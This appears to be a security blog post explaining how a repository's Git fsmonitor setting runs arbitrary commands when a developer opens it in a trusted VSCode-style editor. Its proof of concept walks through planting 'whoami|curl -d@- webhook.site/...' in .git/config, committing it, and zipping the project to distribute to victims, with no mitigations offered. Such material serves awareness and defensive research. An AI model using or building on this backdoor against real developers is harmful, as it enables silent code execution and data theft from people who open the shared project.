Modern development environments like VSCode, Cursor, and VSCodium have introduced powerful features to enhance developer productivity. However, these same features can be used by malicious actors to execute arbitrary code on unsuspecting devs machines. Im sharing some attack vectors that leverages Git configuration files combined with editor "trusted workspace" functionality, to compromise devs machines.
The Attack Vector: Git Configuration Abuse
Understanding Git's File System Monitor (fsmonitor)
Git's fsmonitor
(file system monitor) is a performance optimization feature designed to speed up Git operations in large repositories. When enabled, it uses an external program to monitor file system changes, allowing Git to quickly determine which files have been modified without scanning the entire working directory.
The fsmonitor
configuration accepts a command or path to an executable that Git will invoke to query file system changes. This is where the vulnerability lies—if an attacker can control this configuration value, they can execute arbitrary commands whenever Git performs certain operations.
VSCode's Trusted Workspace Model
VSCode and similar editors implement a "trusted workspace" security model to protect users from malicious code. When opening a folder containing potentially executable content (like npm scripts, Git hooks, or configuration files), the editor prompts users to trust the workspace authors.
Once a workspace is trusted, the editor enables features that can execute code:
- Running npm/yarn scripts
- Executing Git hooks
- Loading workspace-specific settings
- Processing Git configuration files that may contain executable commands
The critical issue is that many developers, eager to access full functionality, quickly click "Yes, I trust the authors" without understanding the security implications.
Technical Deep Dive
The Exploitation Mechanism
When VSCode opens a Git repository in trusted mode, it reads the .git/config
file and honors the Git configuration settings, including fsmonitor
. If this setting contains malicious commands, they will be executed in the context of the user's shell when Git operations are triggered.
The execution happens because:
- Git Configuration Loading: Git reads the local
.git/config
file when performing operations - fsmonitor Invocation: Git calls the specified fsmonitor command to check for file changes
- Command Execution: The malicious payload executes with the user's privileges
- Stealth: The attack happens silently during normal Git operations
Trigger Conditions
The malicious fsmonitor
command can be triggered by various Git operations:
- Opening the repository in VSCode (automatic Git status checks)
- Running
git status
manually - Performing any Git operation that checks file modifications
- VSCode's automatic Git polling for changes
Proof of Concept
Step 1: Repository Initialization
mkdir super_safe_git && cd super_safe_git
git init .
Step 2: Examining Default git config configuration
cat .git/config
A standard Git configuration looks like this:
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
Step 3: Add a backdoor
Edit the .git/config
file to include a malicious fsmonitor
setting:
fsmonitor = "whoami|curl -d@- webhook.site/{webhook_id}"
So the .git/config file looks like this:
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
fsmonitor = "whoami|curl -d@- webhook.site/{webhook_id}"
And do a
git add .
git commit -m "first commit"
Step 5: Distribution
Package the repository and distribute it:
zip -r supersafe-project.zip super_safe_git/
When victims extract and open this in VSCode, they'll see a normal-looking project and likely trust it. When they do, the backdoor will be executed, and they will be compromised.
Acknowledgments
This knowledge was shared to me by my fellow hackers at the EHGN CTF, check them out: